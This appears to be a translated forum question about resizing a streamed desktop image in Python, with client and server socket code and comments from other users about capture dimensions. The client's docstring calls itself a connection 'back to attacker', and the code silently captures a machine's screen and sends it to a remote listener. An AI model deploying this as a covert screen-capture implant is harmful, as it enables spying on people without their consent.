【发布时间】:2021-01-11 16:33:47
【问题描述】:
问题
基本上我有这个代码来流式传输桌面屏幕。问题是,当我尝试调整服务器屏幕的大小(服务器将接收图像)时,图像保持剪切/扭曲
问题
正确调整图像流窗口的大小需要进行哪些更改?
提前致谢。
服务器
import socket
from zlib import decompress
import pygame
#1900 1000
WIDTH = 600
HEIGHT = 600
def recvall(conn, length):
""" Retreive all pixels. """
buf = b''
while len(buf) < length:
data = conn.recv(length - len(buf))
if not data:
return data
buf += data
return buf
def main(host='192.168.15.2', port=6969):
''' machine lhost'''
sock = socket.socket()
sock.bind((host, port))
print("Listening ....")
sock.listen(5)
conn, addr = sock.accept()
print("Accepted ....", addr)
pygame.init()
screen = pygame.display.set_mode((WIDTH, HEIGHT))
clock = pygame.time.Clock()
watching = True
#x = sock.recv(1024).decode()
#print(x)
try:
while watching:
for event in pygame.event.get():
if event.type == pygame.QUIT:
watching = False
break
# Retreive the size of the pixels length, the pixels length and pixels
size_len = int.from_bytes(conn.recv(1), byteorder='big')
size = int.from_bytes(conn.recv(size_len), byteorder='big')
pixels = decompress(recvall(conn, size))
# Create the Surface from raw pixels
img = pygame.image.fromstring(pixels, (WIDTH, HEIGHT), 'RGB')
#img = pygame.image.fromstring(pixels, (WIDTH, HEIGHT), 'RGB')
#.frombuffer(msg,(320,240),"RGBX"))
# Display the picture
screen.blit(img, (0, 0))
pygame.display.flip()
clock.tick(60)
finally:
print("PIXELS: ", pixels)
sock.close()
if __name__ == "__main__":
main()
客户
import socket
from threading import Thread
from zlib import compress
from mss import mss
import pygame
import sys
from PyQt5 import QtWidgets
app = QtWidgets.QApplication(sys.argv)
screen = app.primaryScreen()
size = screen.size()
WIDTH = size.width()
HEIGHT = size.height()
print(WIDTH, HEIGHT)
WIDTH = 600
HEIGHT = 600
def retreive_screenshot(conn):
with mss() as sct:
# The region to capture
rect = {'top': 10, 'left': 10, 'width': WIDTH, 'height': HEIGHT}
while True:
# Capture the screen
img = sct.grab(rect)
print(img)
# Tweak the compression level here (0-9)
pixels = compress(img.rgb, 0)
# Send the size of the pixels length
size = len(pixels)
size_len = (size.bit_length() + 7) // 8
try:
conn.send(bytes([size_len]))
except:
break
# Send the actual pixels length
size_bytes = size.to_bytes(size_len, 'big')
conn.send(size_bytes)
# Send pixels
conn.sendall(pixels)
def main(host='192.168.15.2', port=6969):
''' connect back to attacker on port'''
sock = socket.socket()
sock.connect((host, port))
try:
#sock.send(str('123213213').encode('utf-8'))
while True:
thread = Thread(target=retreive_screenshot, args=(sock,))
thread.start()
thread.join()
except Exception as e:
print("ERR: ", e)
sock.close()
if __name__ == '__main__':
main()
【问题讨论】:
-
似乎您必须同时更改客户端和服务器上的
WIDTH和HEIGHT,因为您的代码当前是编写的。但是,由于客户端代码是截取屏幕截图的,而服务器代码只是显示它接收到的任何内容,因此您可以将尺寸与来自客户端的屏幕截图一起发送。服务器只需将其窗口尺寸设置为从客户端发送的尺寸。你有没有尝试过这样的事情? -
是的,我在两个脚本中都更改了 WIDTH 和 HEIGHT,但是,图像保持剪切(如第一个示例):/
-
顺便说一句,客户端和服务器需要保持相同的WIDTH和HEIGHT,否则服务器会返回这个错误:img = pygame.image.fromstring(pixels, (WIDTH, HEIGHT), ' RGB') ValueError: 字符串长度不等于格式和分辨率大小
-
哦,所以问题是您使用屏幕截图裁剪屏幕的一部分,而不是截取整个屏幕并将其大小调整为
WIDTH和HEIGHT?如果你用scr.grab(screen.size().width(), screen.size().height()代替scr.grab(rect),发送完整图像,然后在服务器端调整它的大小怎么办?您也可以在发送之前在客户端调整它的大小。但目前你只是截取屏幕的rect部分而不是整个屏幕,所以如果是这样的话,你的问题对我来说非常有意义。 -
那么,如果我尝试调整图像大小时出现 python 返回错误,我该如何在服务器端调整图像大小?我认为要在服务器端调整图像大小,我需要更改服务器的 WIDTH HEIGHT 变量?